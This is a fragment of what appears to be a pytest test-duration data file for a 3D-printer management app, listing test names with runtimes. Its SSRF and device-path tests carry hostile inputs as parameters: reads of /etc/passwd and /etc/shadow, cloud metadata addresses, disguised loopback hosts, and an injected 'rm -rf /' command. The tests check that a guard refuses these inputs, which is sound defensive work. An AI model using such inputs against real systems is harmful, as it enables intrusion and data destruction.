0.0009952550753951073, + "unit/test_drying_preflight.py::TestWaitingReason::test_no_codes_is_not_a_specific_reason": 0.0009723221883177757, + "unit/test_drying_preflight.py::TestWaitingReason::test_power": 0.0010010376572608948, + "unit/test_drying_preflight.py::TestWaitingReason::test_retract": 0.000995188020169735, + "unit/test_drying_preflight.py::TestWaitingReason::test_transient_falls_through_to_the_generic_token": 0.0009959377348423004, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_disabled_plug_sorts_last": 0.18594041839241982, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_home_assistant_script_sorts_last": 0.18572762981057167, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_no_plugs_for_printer": 0.1818983005359769, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_no_printer_matches_nothing": 0.18920660950243473, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_only_plug_is_used_even_when_disabled": 0.18206283077597618, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_other_printers_plugs_are_not_candidates": 0.18798895832151175, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_power_plug_sorts_ahead_of_earlier_accessory": 0.18888868391513824, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_single_plug_is_the_candidate": 0.1896438980475068, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_ties_break_by_id": 0.19940828252583742, + "unit/test_energy_plug_selection_2859.py::TestCandidateOrdering::test_unlinked_plug_is_not_a_candidate": 0.18217245396226645, + "unit/test_energy_plug_selection_2859.py::TestRecordEnergyStart::test_names_the_plugs_it_tried_when_none_measures": 0.19861938152462244, + "unit/test_energy_plug_selection_2859.py::TestRecordEnergyStart::test_no_plug_records_nothing": 0.18818669859319925, + "unit/test_energy_plug_selection_2859.py::TestRecordEnergyStart::test_single_plug_is_unchanged": 0.2093249075114727, + "unit/test_energy_plug_selection_2859.py::TestRecordEnergyStart::test_two_plugs_no_longer_lose_the_start_reading": 0.1919804885983467, + "unit/test_energy_plug_selection_2859.py::TestSelectEnergyReading::test_none_for_an_empty_candidate_list": 0.001783592626452446, + "unit/test_energy_plug_selection_2859.py::TestSelectEnergyReading::test_none_when_nothing_reports_a_counter": 0.0016505448147654533, + "unit/test_energy_plug_selection_2859.py::TestSelectEnergyReading::test_picks_the_plug_that_reports_a_counter": 0.0023440951481461525, + "unit/test_energy_plug_selection_2859.py::TestSelectEnergyReading::test_stops_at_the_first_usable_reading": 0.0017999624833464622, + "unit/test_energy_plug_selection_2859.py::TestSelectEnergyReading::test_unreachable_plug_does_not_end_the_search": 0.001689036376774311, + "unit/test_energy_plug_selection_2859.py::TestSelectEnergyReading::test_zero_is_a_reading": 0.0018234876915812492, + "unit/test_energy_snapshots.py::TestPerPrintRestartResilience::test_energy_kwh_delta_computes_from_persisted_start": 0.18557218927890062, + "unit/test_energy_snapshots.py::TestPerPrintRestartResilience::test_energy_start_kwh_persists_to_db": 0.18278375081717968, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_counter_reset_is_clamped_to_zero": 0.18201630469411612, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_endpoint_picks_last_snapshot_at_or_before_range_end": 0.18291416577994823, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_multiple_plugs_are_summed": 0.18955479376018047, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_plug_with_no_snapshots_signals_warming": 0.18532931059598923, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_returns_zero_when_no_plugs": 0.18329431861639023, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_simple_delta_with_baseline_and_endpoint": 0.19068002048879862, + "unit/test_energy_snapshots.py::TestSumSnapshotDeltas::test_warming_up_when_no_baseline_before_range": 0.18571782112121582, + "unit/test_expected_print_rollback.py::test_archive_keyed_tables_survive_while_another_file_still_points_at_them": 0.0026399297639727592, + "unit/test_expected_print_rollback.py::test_dispatch_keeps_the_expectation_when_the_print_was_sent": 0.01082081999629736, + "unit/test_expected_print_rollback.py::test_dispatch_withdraws_the_expectation_when_start_print_raises": 0.0033883294090628624, + "unit/test_expected_print_rollback.py::test_rollback_entries_are_per_item": 0.002055601216852665, + "unit/test_expected_print_rollback.py::test_scheduler_rollback_is_a_no_op_after_a_confirmed_send": 0.0015890076756477356, + "unit/test_expected_print_rollback.py::test_scheduler_rollback_never_raises": 0.0033751968294382095, + "unit/test_expected_print_rollback.py::test_scheduler_rollback_undoes_a_recorded_registration": 0.0022961124777793884, + "unit/test_expected_print_rollback.py::test_unregister_clears_the_filename_variants_too": 0.0027832752093672752, + "unit/test_expected_print_rollback.py::test_unregister_does_not_touch_another_printers_expectation": 0.0026659145951271057, + "unit/test_expected_print_rollback.py::test_unregister_leaves_every_registry_as_it_found_them": 0.003262474201619625, + "unit/test_expected_print_rollback.py::test_unregistering_an_unknown_print_is_a_no_op": 0.002204342745244503, + "unit/test_external_camera_live_frame_reuse.py::test_a_raising_on_frame_callback_cannot_break_the_stream": 0.0024124719202518463, + "unit/test_external_camera_live_frame_reuse.py::test_no_viewer_means_capture_normally": 0.0021421555429697037, + "unit/test_external_camera_live_frame_reuse.py::test_obico_reuses_the_live_external_frame": 0.002700360491871834, + "unit/test_external_camera_live_frame_reuse.py::test_obico_skips_the_poll_when_the_external_buffer_is_empty": 0.002701341174542904, + "unit/test_external_camera_live_frame_reuse.py::test_obico_still_captures_when_nobody_is_watching": 0.0026311520487070084, + "unit/test_external_camera_live_frame_reuse.py::test_on_frame_receives_the_raw_jpeg_not_the_multipart_chunk": 0.001925857737660408, + "unit/test_external_camera_live_frame_reuse.py::test_plate_detection_reuses_the_live_external_frame": 0.0019030272960662842, + "unit/test_external_camera_live_frame_reuse.py::test_timelapse_captures_normally_with_no_viewer": 0.0024748193100094795, + "unit/test_external_camera_live_frame_reuse.py::test_timelapse_skips_a_layer_rather_than_competing_on_an_empty_buffer": 0.002650747075676918, + "unit/test_external_camera_live_frame_reuse.py::test_timelapse_uses_the_live_frame_instead_of_competing": 0.0030812444165349007, + "unit/test_external_camera_live_frame_reuse.py::test_viewer_with_a_buffered_frame_is_reused": 0.002000429667532444, + "unit/test_external_camera_live_frame_reuse.py::test_viewer_with_an_empty_buffer_means_skip_not_capture": 0.001946035772562027, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_a_real_camera_still_captures": 0.002465551719069481, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_ffmpeg_is_confined_to_rtsp_protocols": 0.0026929378509521484, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_no_process_is_spawned[file:///etc/passwd]": 0.0025267358869314194, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_no_process_is_spawned[http://127.0.0.1:8080/internal-service]": 0.0029395204037427902, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_no_process_is_spawned[http://192.168.1.100:8080/any-image.jpg]": 0.0027915220707654953, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_no_process_is_spawned[rtsp://127.0.0.1:554/live]": 0.002689841203391552, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_no_process_is_spawned[rtsp://169.254.169.254/live]": 0.003045458346605301, + "unit/test_external_camera_ssrf.py::TestRtspCaptureRefusesUnsafeUrls::test_no_process_is_spawned[rtsp://2130706433:554/live]": 0.0025500990450382233, + "unit/test_external_camera_ssrf.py::TestRtspStreamRefusesUnsafeUrls::test_a_real_camera_still_reaches_ffmpeg": 0.10383108165115118, + "unit/test_external_camera_ssrf.py::TestRtspStreamRefusesUnsafeUrls::test_no_process_is_spawned[file:///etc/passwd]": 0.002744254656136036, + "unit/test_external_camera_ssrf.py::TestRtspStreamRefusesUnsafeUrls::test_no_process_is_spawned[http://127.0.0.1:8080/internal-service]": 0.0025375746190547943, + "unit/test_external_camera_ssrf.py::TestRtspStreamRefusesUnsafeUrls::test_no_process_is_spawned[rtsp://127.0.0.1:554/live]": 0.002782984636723995, + "unit/test_external_camera_ssrf.py::TestRtspStreamRefusesUnsafeUrls::test_no_process_is_spawned[rtsp://[::ffff:127.0.0.1]:554/live]": 0.0025619324296712875, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_malformed_input_is_refused[://192.168.1.50/x]": 0.0014424622058868408, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_malformed_input_is_refused[]": 0.0014566592872142792, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_malformed_input_is_refused[not a url]": 0.0014748945832252502, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_malformed_input_is_refused[rtsp://]": 0.0017437078058719635, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[concat:/etc/passwd]": 0.00142656359821558, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[file:///etc/passwd]": 0.0014356225728988647, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[ftp://192.168.1.50/x]": 0.001459585502743721, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[http://192.168.1.50:8080/internal]": 0.0014562206342816353, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[https://192.168.1.50/internal]": 0.0014574024826288223, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[tcp://192.168.1.50:22]": 0.0014515714719891548, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_only_rtsp_reaches_the_rtsp_paths[udp://192.168.1.50:1234]": 0.0014684218913316727, + "unit/test_external_camera_ssrf.py::TestSchemeAllowlist::test_rtsp_does_not_reach_the_http_paths": 0.0014166655018925667, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_camera_url_survives[rtsp://10.0.0.5/stream1]": 0.0014551477506756783, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_camera_url_survives[rtsp://172.16.4.9:8554/cam]": 0.0014761760830879211, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_camera_url_survives[rtsp://192.168.1.50:554/live]": 0.001481938175857067, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_camera_url_survives[rtsp://[fd00::1]:554/live]": 0.0014737313613295555, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_camera_url_survives[rtsp://cam.lan/live]": 0.0014715176075696945, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_camera_url_survives[rtsps://camera.example.com:322/stream]": 0.0014836909249424934, + "unit/test_external_camera_ssrf.py::TestTheCamerasWeAllow::test_a_hostname_is_not_resolved": 0.0014153122901916504, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_link_local_and_metadata_are_refused[169.254.1.1]": 0.0015662061050534248, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_link_local_and_metadata_are_refused[169.254.169.254]": 0.0015391847118735313, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_link_local_and_metadata_are_refused[[fe80::1]]": 0.0015640631318092346, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_link_local_and_metadata_are_refused[metadata.google.internal]": 0.0015413099899888039, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_link_local_and_metadata_are_refused[metadata.google]": 0.0015134066343307495, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[0177.0.0.1]": 0.001553182490170002, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[0x7f.0.0.1]": 0.0016329027712345123, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[127.0.0.1]": 0.0016305772587656975, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[127.0.0.2]": 0.0015445258468389511, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[127.1]": 0.0015379628166556358, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[2130706433]": 0.001534787006676197, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[[::1]]": 0.0015999581664800644, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[[::ffff:127.0.0.1]]": 0.0015824250876903534, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[localhost]": 0.0019564172253012657, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_loopback_is_refused[sub.localhost]": 0.001554311253130436, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_the_reason_is_reported_for_logging": 0.0013980921357870102, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_the_unspecified_address_is_refused[0.0.0.0]": 0.00155743770301342, + "unit/test_external_camera_ssrf.py::TestTheHostsWeRefuse::test_the_unspecified_address_is_refused[[::]]": 0.0015597529709339142, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_missing_device_is_refused": 0.0020301546901464462, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_path_that_is_not_a_device_node_is_refused[/dev/video/../../etc/passwd]": 0.002315470017492771, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_path_that_is_not_a_device_node_is_refused[/dev/video0; rm -rf /]": 0.0018661562353372574, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_path_that_is_not_a_device_node_is_refused[/dev/video100]": 0.0015238355845212936, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_path_that_is_not_a_device_node_is_refused[/dev/videos/../../etc/shadow]": 0.0020491499453783035, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_path_that_is_not_a_device_node_is_refused[/etc/passwd]": 0.0015512863174080849, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_a_path_that_is_not_a_device_node_is_refused[]": 0.0015422804281115532, + "unit/test_external_camera_ssrf.py::TestUsbDevicePaths::test_the_path_is_rebuilt_from_the_device_number": 0.0017597870901226997, + "unit/test_external_camera_ssrf.py::TestWhatTheGuardMustNotDestroy::test_an_ipv6_literal_keeps_its_brackets": 0.0014241300523281097, + "unit/test_external_camera_ssrf.py::TestWhatTheGuardMustNotDestroy::test_credentials_survive": 0.0014259424060583115, + "unit/test_external_camera_ssrf.py::TestWhatTheGuardMustNotDestroy::test_http_cameras_keep_their_basic_auth_too": 0.0014287885278463364, + "unit/test_external_camera_ssrf.py::TestWhatTheGuardMustNotDestroy::test_percent_encoded_credentials_survive_byte_for_byte": 0.0014177458360791206, + "unit/test_external_camera_ssrf.py::TestWhatTheGuardMustNotDestroy::test_port_query_and_fragment_survive": 0.001430470496416092, + "unit/test_external_dispatch_detection.py::TestOwnDispatchIsNotReported::test_a_slicer_sharing_our_sequence_id_is_still_reported": 0.0016604214906692505, + "unit/test_external_dispatch_detection.py::TestOwnDispatchIsNotReported::test_our_own_echo_is_recognised": 0.0016055088490247726, + "unit/test_external_dispatch_detection.py::TestOwnDispatchIsNotReported::test_the_marker_is_consumed": 0.002021447755396366, + "unit/test_external_dispatch_detection.py::TestSlicerDispatchIsReported::test_every_slicer_sequence_id_is_logged[20000]": 0.0017955135554075241, + "unit/test_external_dispatch_detection.py::TestSlicerDispatchIsReported::test_every_slicer_sequence_id_is_logged[20001]": 0.001701749861240387, + "unit/test_external_dispatch_detection.py::TestSlicerDispatchIsReported::test_every_slicer_sequence_id_is_logged[20009]": 0.0016861911863088608, + "unit/test_external_dispatch_detection.py::TestSlicerDispatchIsReported::test_every_slicer_sequence_id_is_logged[20010]": 0.001693684607744217, + "unit/test_external_dispatch_detection.py::TestSlicerDispatchIsReported::test_the_payload_is_logged_verbatim": 0.001660110428929329, + "unit/test_external_dispatch_detection.py::TestUnaffectedBehaviour::test_ams_mapping_is_captured_either_way": 0.0014992710202932358, + "unit/test_external_dispatch_detection.py::TestUnaffectedBehaviour::test_the_project_url_is_captured_either_way": 0.0015755519270896912, + "unit/test_extract_video_last_frame.py::test_extracts_correctly_from_sub_second_video": 0.128318608738482, + "unit/test_extract_video_last_frame.py::test_extracts_jpeg_from_real_mp4": 0.13049778249114752, + "unit/test_extract_video_last_frame.py::test_returns_false_on_subprocess_timeout": 0.003771590068936348, + "unit/test_extract_video_last_frame.py::test_returns_false_when_ffmpeg_exits_nonzero": 0.055171675980091095, + "unit/test_extract_video_last_frame.py::test_returns_false_when_ffmpeg_unavailable": 0.002244066447019577, + "unit/test_extract_video_last_frame.py::test_returns_false_when_source_empty": 0.0022321632131934166, + "unit/test_extract_video_last_frame.py::test_returns_false_when_source_missing": 0.0025651883333921432, + "unit/test_failure_reason_derivation.py::test_completed_status_returns_none": 0.0014239372685551643, + "unit/test_failure_reason_derivation.py::test_derived_reason_is_always_a_canonical_key[aborted]": 0.0018958933651447296, + "unit/test_failure_reason_derivation.py::test_derived_reason_is_always_a_canonical_key[cancelled]": 0.001473231241106987, + "unit/test_failure_reason_derivation.py::test_derived_reason_is_always_a_canonical_key[failed]": 0.0014646053314208984, + "unit/test_failure_reason_derivation.py::test_every_derived_reason_is_a_canonical_key": 0.0014089588075876236, + "unit/test_failure_reason_derivation.py::test_failed_with_no_hms_returns_none": 0.0014130789786577225, + "unit/test_failure_reason_derivation.py::test_first_matching_code_wins": 0.0014232173562049866, + "unit/test_failure_reason_derivation.py::test_h2d_cancel_module_0x0c_is_not_layer_shift": 0.001431584358215332, + "unit/test_failure_reason_derivation.py::test_int_code_field_accepted": 0.0013973787426948547, + "unit/test_failure_reason_derivation.py::test_real_clogged_nozzle_short_code_detected": 0.001407126896083355, + "unit/test_failure_reason_derivation.py::test_real_filament_runout_short_code_detected": 0.0014239884912967682, + "unit/test_failure_reason_derivation.py::test_real_layer_shift_short_code_detected": 0.0016277311369776726, + "unit/test_failure_reason_derivation.py::test_the_stale_paths_write_a_key_the_editor_will_not_discard": 0.0024601714685559273, + "unit/test_failure_reason_derivation.py::test_unknown_module_0x0c_code_returns_none": 0.0013964371755719185, + "unit/test_failure_reason_derivation.py::test_user_cancel_status_yields_user_cancelled[aborted]": 0.0020210910588502884, + "unit/test_failure_reason_derivation.py::test_user_cancel_status_yields_user_cancelled[cancelled]": 0.0014782315120100975, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_ams_mapping_narrows_to_used_slots": 0.0014349296689033508, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_ams_mapping_with_vt_tray_sentinels_filtered_out": 0.0014402195811271667, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_color_missing_only_emits_type": 0.0014176154509186745, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_color_truncation_at_column_limit": 0.0015207603573799133, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_dual_ams_global_ids_use_unit4_offset": 0.0014355024322867393, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_empty_payload_returns_empty_dict": 0.0014316029846668243, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_garbage_top_level_is_empty[None]": 0.001466730609536171, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_garbage_top_level_is_empty[data1]": 0.0009902752935886383, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_garbage_top_level_is_empty[data2]": 0.000998181290924549, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_malformed_unit_skipped_without_crash": 0.001428486779332161, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_mapping_entirely_unknown_returns_empty": 0.0014646556228399277, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_mapping_pointing_at_unknown_slot_falls_through_to_known_only": 0.0014193598181009293, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_no_loaded_slots_returns_empty": 0.0014196112751960754, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_no_mapping_lists_all_loaded_slots_sorted": 0.0014209235087037086, + "unit/test_fallback_archive_mqtt_filament.py::TestExtractFilamentDataFromMqtt::test_type_truncation_at_column_limit": 0.0014409804716706276, + "unit/test_fallback_archive_mqtt_filament.py::TestOnPrintStartCallbackShape::test_callback_wrapper_payload_resolves_raw_data_path": 0.0009600277990102768, + "unit/test_fallback_archive_mqtt_filament.py::TestOnPrintStartCallbackShape::test_inner_shape_still_supported_after_wrapper_lookup": 0.0009834440425038338, + "unit/test_fallback_archive_mqtt_filament.py::TestOnPrintStartCallbackShape::test_wrapper_with_missing_raw_data_returns_empty": 0.0009561730548739433, + "unit/test_fallback_archive_mqtt_filament.py::TestOnPrintStartCallbackShape::test_wrapper_with_no_ams_mapping_falls_back_to_all_loaded": 0.000959618017077446, + "unit/test_fallback_archive_mqtt_filament.py::TestOnPrintStartCallbackShape::test_wrapper_with_non_dict_raw_data_falls_through_to_inner_lookup": 0.0009521059691905975, + "unit/test_fallback_archive_recovery_2957.py::TestConcurrentRecoveryIsSerialised::test_two_racing_callers_produce_one_archive_directory": 0.20344188157469034, + "unit/test_fallback_archive_recovery_2957.py::TestPhotosSurviveRecovery::test_a_photo_written_before_recovery_is_still_found_after": 0.0023214910179376602, + "unit/test_fallback_archive_recovery_2957.py::TestPhotosSurviveRecovery::test_the_current_directory_still_wins": 0.0016979426145553589, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryFillsTheExistingRow::test_a_name_variant_still_finds_the_archive": 0.18960766028612852, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryFillsTheExistingRow::test_metadata_from_the_3mf_lands_on_the_row": 0.19210254028439522, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryFillsTheExistingRow::test_the_cover_endpoints_download_recovers_the_archive": 0.19551570434123278, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryRefusesTheWrongInput::test_a_deleted_archive_is_not_resurrected": 0.19472977239638567, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryRefusesTheWrongInput::test_a_truncated_download_is_refused": 0.19093937799334526, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryRefusesTheWrongInput::test_an_archive_that_already_has_a_3mf_is_left_alone": 0.1844174349680543, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryRefusesTheWrongInput::test_an_empty_file_is_refused": 0.18253259919583797, + "unit/test_fallback_archive_recovery_2957.py::TestRecoveryRefusesTheWrongInput::test_no_running_print_for_this_printer_is_a_no_op": 0.18796114530414343, + "unit/test_fallback_archive_recovery_2957.py::TestTheCooloffRetry::test_a_printer_still_in_cool_off_is_not_contacted": 0.20866281632333994, + "unit/test_fallback_archive_recovery_2957.py::TestTheCooloffRetry::test_a_second_schedule_replaces_the_first": 0.18565178755670786, + "unit/test_fallback_archive_recovery_2957.py::TestTheCooloffRetry::test_the_retry_downloads_from_the_printer_when_the_cache_is_empty": 0.21352124214172363, + "unit/test_fallback_archive_recovery_2957.py::TestTheCooloffRetry::test_the_retry_recovers_from_the_shared_cache": 0.20233416464179754, + "unit/test_fallback_archive_recovery_2957.py::TestTheCooloffRetry::test_the_retry_stops_once_the_archive_has_a_3mf": 0.20103560015559196, + "unit/test_fallback_archive_recovery_2957.py::TestTheGiveUpReasonIsRecorded::test_the_banner_endpoint_does_not_leak_the_new_slug": 0.002160250209271908, + "unit/test_fallback_archive_recovery_2957.py::TestTheGiveUpReasonIsRecorded::test_the_cooloff_slug_is_distinct_from_the_storage_verdicts": 0.002450913190841675, + "unit/test_fallback_archive_recovery_2957.py::TestTheRetryWritesInsideTheDataVolume::test_a_path_shaped_name_cannot_escape_the_temp_directory": 0.20030563417822123, + "unit/test_fallback_timelapse_baseline_2957.py::TestTheBaselineCaptureItself::test_a_readable_card_is_captured_and_persisted": 0.18298420682549477, + "unit/test_fallback_timelapse_baseline_2957.py::TestTheBaselineCaptureItself::test_an_unreadable_card_still_records_the_empty_baseline": 0.1837370190769434, + "unit/test_fallback_timelapse_baseline_2957.py::TestTheCardWasReadableAtPrintStart::test_the_persisted_baseline_picks_this_prints_video": 0.2601776411756873, + "unit/test_fallback_timelapse_baseline_2957.py::TestTheCooloffOutlastsThePrint::test_a_lone_video_still_resolves": 0.45340352319180965, + "unit/test_fallback_timelapse_baseline_2957.py::TestTheCooloffOutlastsThePrint::test_an_unclaimed_old_video_is_attached_to_this_print": 3.240532915107906, + "unit/test_ffmpeg_output_summary.py::TestEveryCallSiteGoesThroughIt::test_no_module_truncates_stderr_by_hand[backend.app.api.routes.camera]": 0.0018438668921589851, + "unit/test_ffmpeg_output_summary.py::TestEveryCallSiteGoesThroughIt::test_no_module_truncates_stderr_by_hand[backend.app.services.archive]": 0.001959160901606083, + "unit/test_ffmpeg_output_summary.py::TestEveryCallSiteGoesThroughIt::test_no_module_truncates_stderr_by_hand[backend.app.services.camera]": 0.0016406457871198654, + "unit/test_ffmpeg_output_summary.py::TestEveryCallSiteGoesThroughIt::test_no_module_truncates_stderr_by_hand[backend.app.services.external_camera]": 0.0016347039490938187, + "unit/test_ffmpeg_output_summary.py::TestEveryCallSiteGoesThroughIt::test_no_module_truncates_stderr_by_hand[backend.app.services.layer_timelapse]": 0.0012805704027414322, + "unit/test_ffmpeg_output_summary.py::TestEveryCallSiteGoesThroughIt::test_no_module_truncates_stderr_by_hand[backend.app.services.timelapse_processor]": 0.0015177149325609207, + "unit/test_ffmpeg_output_summary.py::TestTheDiagnosisSurvives::test_a_banner_only_failure_says_so": 0.0010496266186237335, + "unit/test_ffmpeg_output_summary.py::TestTheDiagnosisSurvives::test_input_analysis_is_kept": 0.0010358905419707298, + "unit/test_ffmpeg_output_summary.py::TestTheDiagnosisSurvives::test_only_the_last_lines_are_kept": 0.0010481039062142372, + "unit/test_ffmpeg_output_summary.py::TestTheDiagnosisSurvives::test_the_error_is_kept_and_the_banner_is_not": 0.001485123299062252, + "unit/test_ffmpeg_output_summary.py::TestTheDiagnosisSurvives::test_the_old_truncation_would_have_kept_none_of_it": 0.0010570306330919266, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_a_credential_masked_before_the_cut_not_after": 0.0010613882914185524, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_a_single_enormous_line_is_bounded": 0.0011029783636331558, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_an_ordinary_diagnosis_is_never_trimmed": 0.0010373555123806, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_bytes_are_accepted": 0.0010515116155147552, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_nothing_in_nothing_out[0]": 0.0010711271315813065, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_nothing_in_nothing_out[1]": 0.001065196469426155, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_nothing_in_nothing_out[None]": 0.0010702172294259071, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_the_access_code_is_masked": 0.0010706372559070587, + "unit/test_ffmpeg_output_summary.py::TestWhatTheCallSitesUsedToGetWrong::test_undecodable_bytes_do_not_raise": 0.0010362118482589722, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspArgvUsesProbe::test_no_hard_coded_timeout_literal[backend/app/api/routes/camera.py]": 0.0012266887351870537, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspArgvUsesProbe::test_no_hard_coded_timeout_literal[backend/app/services/external_camera.py]": 0.00120581965893507, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspSocketTimeoutFlagProbe::test_defaults_to_timeout_when_ffmpeg_missing": 0.0011929050087928772, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspSocketTimeoutFlagProbe::test_defaults_to_timeout_when_probe_raises": 0.0020767617970705032, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspSocketTimeoutFlagProbe::test_falls_back_to_timeout_on_modern_ffmpeg": 0.0013822000473737717, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspSocketTimeoutFlagProbe::test_prefers_stimeout_when_ffmpeg_advertises_it": 0.001478562131524086, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspSocketTimeoutFlagProbe::test_result_is_cached_across_calls": 0.0013682032003998756, + "unit/test_ffmpeg_rtsp_timeout_flag.py::TestRtspSocketTimeoutFlagProbe::test_substring_match_does_not_false_positive": 0.0013783546164631844, + "unit/test_filament_colour_2977.py::TestItNeverFailsASliceThatWouldOtherwiseSucceed::test_a_json_profile_that_is_not_an_object_is_passed_through": 0.0010192906484007835, + "unit/test_filament_colour_2977.py::TestItNeverFailsASliceThatWouldOtherwiseSucceed::test_an_unparseable_profile_is_passed_through": 0.0010778792202472687, + 